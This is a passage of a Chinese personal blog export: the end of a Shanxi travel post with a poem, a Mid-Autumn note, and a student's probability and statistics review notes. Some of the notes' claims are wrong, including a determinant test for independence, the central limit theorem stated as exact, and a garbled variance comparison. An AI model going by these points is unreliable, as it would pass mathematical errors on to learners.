loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其五\u003c/h2\u003e\n\u003ch3\u003e鹳雀楼幸遇未陶然有寄\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e生来不是酒中仙,落墨皴眉把字研。\u003cbr/\u003e\n鹳雀楼上斗之涣,太行山下思教员。\u003cbr/\u003e\n君作人间逍遥客,我困象塔长少年。\u003cbr/\u003e\n或历天地无存所,且将诗债换酒钱。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.6\u003cbr/\u003e\n运城永乐宫、广仁王庙、鹳雀楼、关帝庙\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  运城跟团游,时间紧地点多,都没来得及细看。至鹳雀楼时,观一小摊书“卖原创诗集”大字。逛毕新楼,回看诗集,久震余惊。未陶然受大理女诗人影响重走文学路,我也曾写过不少诗,多是闲来拙笔,倒也未想过以此为生计。\u003cbr/\u003e\n  高中将作诗、摘诗的底稿送出,分手后,再也没怎么写过诗了。一是沉迷游戏现实,没读什么书,既无诗才也无勤心,落笔干涩终不满意。二是心境迷蒙,顾当世如雾里看花,既无透劲亦无清明,活得浑浑噩噩。三是久居象塔经历平平,无喜无悲,难有诗情。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3184801327.jpg\" alt=\"IMG_2131 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1585398490.jpg\" alt=\"IMG_2134 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3750612929.jpg\" alt=\"IMG_2158 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3048377807.jpg\" alt=\"IMG_2214 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1157009.jpg\" alt=\"IMG_2233 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/343590413.jpg\" alt=\"IMG_2234 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/915481746.jpg\" alt=\"IMG_2235 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e后记\u003c/h2\u003e\n\u003cp\u003e晋南三城各有特色。\u003cbr/\u003e\n晋城繁华,公交发达,有专线通往各个景点。初到市区,一路灯火通明。\u003cbr/\u003e\n临汾奇异,连客运站周围都黑的很,景点离城区远且没有公交专线,包车花费较大;公共厕所有特色,我骑青桔电动车打卡二十余,无一相同。\u003cbr/\u003e\n运城热闹,主路也好小路也罢,商铺小店小摊挤满了,听说还有南北两集市(运城包子好吃,小馆实诚)。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3704126306.jpg\" alt=\"IMG_2091.JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Traveling-in-Jinnan.html"},{"title":"中秋,给家人打个电话吧","time":"2024-09-15T14:35:00Z","content":"“妈妈这个世界真的会有女孩喜欢我吗?”“当然啦第一次见你我也才20多岁。”中秋节将近,给家人打个电话吧。人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。但愿人长久,但愿人长久,但...\u003chr /\u003e\u003cblockquote\u003e\n\u003cp\u003e“妈妈这个世界真的会有女孩喜欢我吗?”\u003cbr/\u003e\n“当然啦第一次见你我也才20多岁。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"330\" height=\"86\" src=\"https://music.163.com/outchain/player?type=2\u0026amp;id=2045946501\u0026amp;auto=0\u0026amp;height=66\"\u003e\u003c/iframe\u003e\n\u003cp\u003e中秋节将近,给家人打个电话吧。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人有悲欢离合,月有阴晴圆缺,此事古难全。\u003cbr/\u003e\n但愿人长久,千里共婵娟。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e但愿人长久,但愿人长久,但愿人长久。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/It-s-Mid-Autumn-Festival-call-your-family.html"},{"title":"概率论与数理统计","time":"2024-09-09T17:14:00Z","content":"前言第一版前言[[2024-09-14]] 今天补考终于结束了,听说正考直接放原卷,这几天刷了三套网上得来的“西电原卷”(21 年和两套 23 年)。上午刷的 21 年题,下午 $\\frac{1...\u003chr /\u003e\u003ch2\u003e前言\u003c/h2\u003e\n\u003ch3\u003e第一版前言\u003c/h3\u003e\n\u003cp\u003e[[2024-09-14]] 今天补考终于结束了,听说正考直接放原卷,这几天刷了三套网上得来的“西电原卷”(21 年和两套 23 年)。上午刷的 21 年题,下午 $\\frac{1}{4}$ 是一个字不改的原题,我都看笑了。\u003cbr/\u003e\n戴浩当年说尽力给钱班找最好的老师,现在看来数统院没人了?讲课不行可以说是重心不在教学、天赋不在教书;出套卷子直接搬旧题,还是近几年的,题也没审错漏百出,给我气笑了。\u003cbr/\u003e\n自己出的卷子毫无含金量,自己也不做做看。这是态度问题。\u003cbr/\u003e\n你电期末考试放水挺好的,但不要总是拿老本糊弄人。对学生大谈创新,对自己能混就行。这不是做学术的态度,更不是教书应有的态度。\u003c/p\u003e\n\u003cp\u003e概率论就此告一段落,这两天反复看笔记刷题订正不少错误,也明晰了这门课的知识结构。虽然内容仍然偏少,但作为期末复习的材料大抵足够,这版就作为终版吧(大概)。\u003cbr/\u003e\n中秋继续整理电动力学和数字信号处理。\u003c/p\u003e\n\u003ch3\u003e第二版前言\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNothing is final!!!\u003cbr/\u003e\n——钱学森\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e补充了分布函数左右连续问题,看来这门课离 final 还有很远……\u003c/p\u003e\n\u003ch2\u003e事件运算转逻辑运算\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e$A \\cup B=A+B$ \u003c/li\u003e\n\u003cli\u003e$A \\cap B=A \\cdot B$ \u003c/li\u003e\n\u003cli\u003e$A-B=A \\bar{B}$\u003cbr/\u003e\n$A$ 事件发生 $B$ 事件不发生,由韦恩图易证。\u003cbr/\u003e\n可以将 $-B$ 理解为 $\\cdot (-B)$ ,$-B$ 即为 $\\bar{B}$ \u003c/li\u003e\n\u003cli\u003e若 $A \\subset B$ ,$A \\cup B=B,A \\cap B=A$ \u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e事件运算转逻辑运算后,大部分法则共通。\u003cbr/\u003e\n运用数电中学到的逻辑函数运算与化简,可将复杂事件运算化简。\u003cbr/\u003e\nTips:卡诺图\u003c/p\u003e\n\u003ch2\u003e四大事件概率公式\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(A+B)=P(A)+P(B)-P(AB)\\\\\u003cbr/\u003e\nP(A-B)=P(A)-P(AB)=P(A \\bar{B})\\\\\u003cbr/\u003e\nP(AB)=P(B) \\cdot P(A|B)=P(A) \\cdot P(B|A)\\\\\u003cbr/\u003e\nP(A|B)=\\frac{P(AB)}{P(B)}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e推论\u003c/h3\u003e\n\u003cp\u003e$P(A+B+C)$ ,将 $A+B$ 看成一个事件,运用上面的加法公式,两次拆分得到:\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(A+B+C)=P(A)+P(B)+P(C)-P(AB)-P(AC)-P(BC)+P(ABC)\u003cbr/\u003e\n$$\u003cbr/\u003e\n更多和事件概率可依此递推得到。\u003c/p\u003e\n\u003cp\u003e对立事件:$A$ 不发生的概率,韦恩图一目了然。\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(\\bar{A})=P(1 \\cdot \\bar{A})=P(1-A)=P(1)-P(1 \\cdot A)=1-P(A)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e非负性与规范性\u003c/h2\u003e\n\u003cp\u003e非负性:对于任意事件 $A$ ,$0 \\le P(A) \\le 1$ 。\u003cbr/\u003e\n规范性:对于总事件 $\\Omega$ ,$P(\\Omega)=1$ 。\u003c/p\u003e\n\u003ch2\u003e相互独立\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(AB)=P(A) \\cdot P(B)\\\\\u003cbr/\u003e\nP(A|B)=P(A)\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n独立必相互独立。\u003c/p\u003e\n\u003ch2\u003e古典概型\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e各基本事件发生概率相等。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eEg. 抛硬币,掷骰子……\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(A)=\\frac{A包含基本事件数}{\\Omega 中基本事件数}\u003cbr/\u003e\n$$\u003cbr/\u003e\n古典条件概率公式\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(B|A)=\\frac{P(AB)}{P(A)}=\\frac{同时在A,B中的基本事件数}{A包含基本事件数}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e伯努利概型(二项分布)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e$n$ 次独立实验,每次实验只有 $A,\\bar{A}$ 两种结果。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e$X \\sim B(n,p)$\u003cbr/\u003e\n$$\u003cbr/\u003e\nP_n(k)=C_n^kp^k(1-p)^{n-k}\u003cbr/\u003e\n$$\u003cbr/\u003e\n其中,$p=P(A),1-p=P(\\bar{A})$ \u003c/p\u003e\n\u003ch2\u003e几何概型\u003c/h2\u003e\n\u003cp\u003e事件 \u003cem\u003e所占线/面/体积\u003c/em\u003e 部分与整个 \u003cem\u003e线/面/体\u003c/em\u003e 的 \u003cem\u003e长度/面积/体积\u003c/em\u003e 比值。\u003cbr/\u003e\n当事件所占空间维度低于总事件空间 $\\Omega$ 维度时,该事件概率恒为 0 。\u003cbr/\u003e\n==Warning==:事件概率为 0 不代表一定不发生。\u003cbr/\u003e\nEg:随机选中圆内某点,选中任意点概率为 0,但都可能发生。\u003c/p\u003e\n\u003ch2\u003e均匀分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim U(a,b)$\u003cbr/\u003e\n近似为几何分布中的线性分布,各点处概率密度:\u003cbr/\u003e\n$$\u003cbr/\u003e\nf(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0,x \\le a\\\\\u003cbr/\u003e\n\\frac{1}{b-a},a \u0026lt; x \\le b\\\\\u003cbr/\u003e\n0,x\u0026gt;b\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e分布函数:\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0,x \\le a\\\\\u003cbr/\u003e\n\\frac{x-a}{b-a},a\u0026lt;x \\le b\\\\\u003cbr/\u003e\n1,x\u0026gt;b\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e指数分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim E(\\lambda)$ \u003c/p\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n\\lambda e^{-\\lambda x},x\u0026gt;0\\\\\u003cbr/\u003e\n0,x \\le 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1-e^{-\\lambda x},x \\ge 0\\\\\u003cbr/\u003e\n0,x\u0026lt;0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e泊松分布\u003c/h2\u003e\n\u003cp\u003e$X \\sim \\pi(\\lambda)$\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(X=k)=\\frac{e^{-\\lambda}\\lambda^k}{k!}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e正态分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim N(\\mu,\\sigma^2)$ \u003c/p\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=\\frac{1}{\\sqrt{2 \\pi} \\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}},x \\in R,\\sigma\u0026gt;0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\int^{x}_{-\\infty}f(t)dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n显然,$F(\\mu)=\\frac{1}{2}$ ,即 $P(x \\le \\mu)=P(x\u0026gt;\\mu)=\\frac{1}{2}$ 。\u003c/p\u003e\n\u003ch3\u003e标准正态分布\u003c/h3\u003e\n\u003cp\u003e当 $\\mu=0,\\sigma=1$ 时,此分布为标准正态分布。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varphi(x)=\\frac{1}{\\sqrt{2\\pi}}e^{-\\frac{x^2}{2}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varPhi(x)=\\int^{x}_{-\\infty}\\varphi(t)dt\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e推论\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\varPhi(-x)=1-\\varPhi(x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\\varPhi(\\frac{x-\\mu}{\\sigma})\u003cbr/\u003e\n$$\u003cbr/\u003e\n正态分布标准化:\u003cbr/\u003e\n$$\u003cbr/\u003e\nX \\sim N(\\mu,\\sigma^2),Z=\\frac{X-\\mu}{\\sigma}\\sim N(0,1)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e全概率公式\u003c/h2\u003e\n\u003ch3\u003e完备事件组\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nB_1 \\cup B_2 \\cup B_3 \\cup \\cdots \\cup B_n=\\Omega\\\\\u003cbr/\u003e\nB_i \\cap B_j=\\varnothing,i \\ne j,1 \\le i \\le n,1 \\le j \\le n\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n称 $B_1,B_2,B_3,\\cdots B_n$ 构成 $\\Omega$ 的一个完备事件组。\u003c/p\u003e\n\u003ch3\u003e全概率公式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\nP(A)\u003cbr/\u003e\n\u0026amp;=P(AB_1 \\cup AB_2 \\cup \\cdots \\cup AB_n)\\\\\u003cbr/\u003e\n\u0026amp;=P(AB_1)+P(AB_2)+\\cdots +P(AB_n)\\\\\u003cbr/\u003e\n\u0026amp;=P(B_1)P(A|B_1)+P(B_2)P(A|B_2)+\\cdots +P(B_n)P(A|B_n)\\\\\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e贝叶斯公式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(B_1|A)=\\frac{P(AB_1)}{P(A)}=\\frac{P(B_1)P(A|B_1)}{P(A)}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e一维离散型随机变量\u003c/h2\u003e\n\u003ch3\u003e分布律\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(X=x_i)=p_i=\\frac{X=x_i情况数}{总情况数},i=1,2,\\cdots\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\sum_{x_i\u0026lt;x}p_i,x \\in R\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e一维连续型随机变量\u003c/h2\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=F\u0026#39;(x)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\int_{-\\infty}^xf(t)dt\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e区间概率\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(a\u0026lt;x \\le b)=\\int_a^bf(x)dx=F(b)-F(a)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$\\because$ $P(x=a)=0,a \\in R$\u003cbr/\u003e\n$\\therefore$ 区间两边等号随意取\u003c/p\u003e\n\u003ch3\u003e规范性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(\\infty)=\\int^{\\infty}_{-\\infty}f(x)dx=1\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(-\\infty)=0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e二维离散型随机变量\u003c/h2\u003e\n\u003ch3\u003e联合分布律\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i,Y=y_j)$\u003cbr/\u003e\n将 X,Y 可能取值列二维表,填入对应概率。\u003c/p\u003e\n\u003ch3\u003e边缘分布律\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i),P(Y=y_j)$\u003cbr/\u003e\n将联合分布律的行/列相加,得到 $f_Y(x),f_X(y)$ \u003c/p\u003e\n\u003ch3\u003e条件分布\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i|Y=y_j),P(Y=y_i|X=x_j)$\u003cbr/\u003e\n联合分布率每行/列除以该行/列对应的边缘分布律。\u003cbr/\u003e\n即每行/列的联合分布率化为\u003cstrong\u003e成比例项\u003c/strong\u003e,各项和为 1。\u003c/p\u003e\n\u003ch3\u003e两变量独立性\u003c/h3\u003e\n\u003cp\u003e==此处的独立性指的是线性无关,不代表完全独立无关。==\u003cbr/\u003e\n将联合分布表写成矩阵 $\\vec{A}$ ,当 $\\det \\vec{A}=0$ 时 X 与 Y 独立。\u003cbr/\u003e\nOr:联合分布表各行/列成比例时 X 与 Y 独立。\u003cbr/\u003e\nOr:联合分布率 $\\ne$ 边缘分布率乘积,即 $P(X=x_i,Y=y_j)\\ne P(X=x_i)P(Y=y_j)$ 时,X 与 Y 不相互独立。\u003c/p\u003e\n\u003ch2\u003e二位连续性随机变量\u003c/h2\u003e\n\u003ch3\u003e联合密度函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x,y)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e规范性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\int^{\\infty}_{-\\infty}\\int^{\\infty}_{-\\infty}f(x,y)dxdy=1\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e边缘密度函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf_X(x)=\\int^{\\infty}_{-\\infty}f(x,y)dy\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nf_Y(y)=\\int^{\\infty}_{-\\infty}f(x,y)dx\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e条件密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf_{Y|X}(y|x)=\\frac{f(x,y)}{f_X(x)}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e独立性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x,y)=f_X(x)f_Y(y)\u003cbr/\u003e\n$$\u003cbr/\u003e\n满足以上条件时,X 与 Y 相互独立。\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e设 $Z=X-Y$ ,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\nF_Z(z)\u003cbr/\u003e\n\u0026amp;=P(Z\u0026lt;z)\\\\\u003cbr/\u003e\n\u0026amp;=P(X-Y\u0026lt;z)\\\\\u003cbr/\u003e\n\u0026amp;=P(X\u0026lt;Y+z)\\\\\u003cbr/\u003e\n\u0026amp;=\\int^{y}_{-\\infty}\\int^{y+z}_{-\\infty}f(x,y)dxdy\\\\\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003cbr/\u003e\n即分布函数 $F_Z(z)=\\iint_Df(x,y)dxdy$ 。由分布函数求导得概率密度函数 $f_Z(z)$ 。\u003cbr/\u003e\n==Warning==:$F_Z(z)$ 满足规范性。\u003c/p\u003e\n\u003ch2\u003e期望与方差\u003c/h2\u003e\n\u003ch3\u003e关系式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nDX=EX^2-(EX)^2\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nD(cX)=c^2DX\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nD(X+Y)=D(X)+D(Y)+2Cov(X,Y)\u003cbr/\u003e\n$$\u003cbr/\u003e\nX 与 Y 相互独立时 $Cov(X,Y)=0$ 。\u003c/p\u003e\n\u003ch3\u003e常见期望与方差\u003c/h3\u003e\n\u003ch4\u003e$(0,1)$ 分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=p,DX=p(1-p)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$B(n,p)$ 二项分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=np,DX=np(1-p)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$U(a,b)$ 均匀分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\frac{a+b}{2},DX=\\frac{(b-a)^2}{12}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$E(\\lambda)$ 指数分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\frac{1}{\\lambda},DX=\\frac{1}{\\lambda^2}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$P(\\lambda)$ 泊松分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\lambda,DX=\\lambda\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$N(\\mu,\\sigma^2)$ 正态分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\mu,DX=\\sigma^2\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e协方差与相关系数\u003c/h2\u003e\n\u003ch3\u003e协方差\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nCov(X,Y)=E(XY)-E(X)E(Y)\u003cbr/\u003e\n$$\u003cbr/\u003e\n显然,$X=Y$ 时,$Cov(X,X)=DX$ 。\u003cbr/\u003e\n$$\u003cbr/\u003e\nCov(X+Y,Z)=Cov(X,Z)+Cov(Y,Z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nCov(X-Y,Z)=Cov(X,Z)+Cov(-Y,Z)=Cov(X,Z)-Cov(Y,Z)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e相关系数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\rho_{XY}=\\frac{Cov(X,Y)}{\\sqrt{DX \\cdot DY}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$|\\rho|$ 越大,相关性越强。\u003cbr/\u003e\n$Y=X$ 时,$X$ 与 $X$ 相关性最强,得到 $\\rho=1$ 。\u003cbr/\u003e\n$Y=-X$ 时,$-X$ 与 $X$ 相关性最强,得到 $\\rho=-1$ 。\u003cbr/\u003e\n显然 $|\\rho| \\le 1$ 。\u003cbr/\u003e\n$\\rho=0$ 时 $X$ 与 $Y$ 不相关。\u003cbr/\u003e\n==Warning==:不相关 $\\nRightarrow$ 独立,独立 $\\Rightarrow$ 不相关。\u003c/p\u003e\n\u003ch2\u003e切比雪夫不等式估计概率\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(|X-EX|\\ge \\varepsilon)\\le \\frac{DX}{\\varepsilon^2}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e中心极限定理\u003c/h2\u003e\n\u003cp\u003e大量独立变量同分布,可近似为正态分布。\u003cbr/\u003e\n若 $x_1,x_2,\\cdots,x_n$ 独立且同分布,则\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sum_{i=1}^nx_i \\sim N(\\sum^{n}_{i=1}E(x_i),\\sum^{n}_{i=1}D(x_i))\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e三大分布\u003c/h2\u003e\n\u003ch3\u003e$\\chi^2$ (卡方)分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=x_1^2+x_2^2+\\cdots +x_n^2 \\sim \\chi^2(n),x_i \\sim N(0,1)且相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $\\chi^2_\\alpha(n)$\u003cbr/\u003e\n密度函数在第一象限\u003c/p\u003e\n\u003ch3\u003e$t$ 分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=\\frac{x_1}{\\sqrt{x_2/n}}\\sim t(n),x_1 \\sim N(0,1),x_2 \\sim \\chi^2(n),x_1与x_2相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $t_\\alpha(n)$\u003cbr/\u003e\n密度函数形似正态分布,左右对称\u003c/p\u003e\n\u003ch3\u003e$F$ 分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=\\frac{x_1/n_1}{x_2/n_2} \\sim F(n_1,n_2),x_1 \\sim \\chi^2(n_1),x_2 \\sim \\chi^2(n_2),x_1与x_2相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $F_\\alpha(n_1,n_2)$\u003cbr/\u003e\n密度函数在第一象限\u003c/p\u003e\n\u003ch2\u003e估计法\u003c/h2\u003e\n\u003cp\u003e简单随机样本相互独立且同分布时,估计未知参数。\u003c/p\u003e\n\u003ch3\u003e矩估计法\u003c/h3\u003e\n\u003cp\u003e样本量较大时,将样本近似为平均分布,样本均值替代总体均值(总体矩=样本矩)。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e根据所给分布律/密度函数求出期望 $EX$ (一阶总体矩)\u003c/li\u003e\n\u003cli\u003e根据所给样本求样本均值 $\\bar{X}$ (一阶样本矩)\u003c/li\u003e\n\u003cli\u003e令 $EX=\\bar{X}$ 解出 $\\theta_0$ 即为 $\\hat{\\theta}$ \u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e最大似然估计法\u003c/h3\u003e\n\u003cp\u003e估计值使得样本发生概率最大。\u003cbr/\u003e\n样本似然函数:\u003cbr/\u003e\n$$\u003cbr/\u003e\nL(x_1,x_2,\\cdots,x_n;\\theta)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(X=x_1)P(X=x_2)\\cdots P(X=x_n),离散型\\\\\u003cbr/\u003e\nf(x_1;\\theta)f(x_2;\\theta)\\cdots f(x_n;\\theta),连续型\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n求 $L$ 最大值,即求导得其驻点。因连乘求导繁琐,先将其化为对数形式后对未知参数 $\\theta$ 求导。\u003cbr/\u003e\n$$\u003cbr/\u003e\n(\\ln L)\u0026#39;=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n(\\ln P_1+\\ln P_2+\\cdots +\\ln P_n)\u0026#39;,离散型\\\\\u003cbr/\u003e\n[\\ln f(x_1;\\theta)+\\ln f(x_2;\\theta)+\\cdots +\\ln f(x_n;\\theta)]\u0026#39;,连续型\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n=0\u003cbr/\u003e\n$$\u003cbr/\u003e\n解出驻点 $\\theta_0$ ,即为估计值 $\\hat{\\theta}$ 。\u003c/p\u003e\n\u003ch2\u003e无偏性与有效性\u003c/h2\u003e\n\u003cp\u003e若 $E(\\hat{\\theta})=\\theta$ ,则称 $\\hat{\\theta}$ 为 $\\theta$ 的无偏估计。\u003cbr/\u003e\n若 $\\hat{\\theta_1},\\hat{\\theta_2}$ 均为无偏估计,且 $D(\\hat{\\theta_1})\u0026lt;\\hat{\\theta_2}$ ,则称 $\\hat{\\theta_1}$ 比 $\\hat{\\theta_2}$ 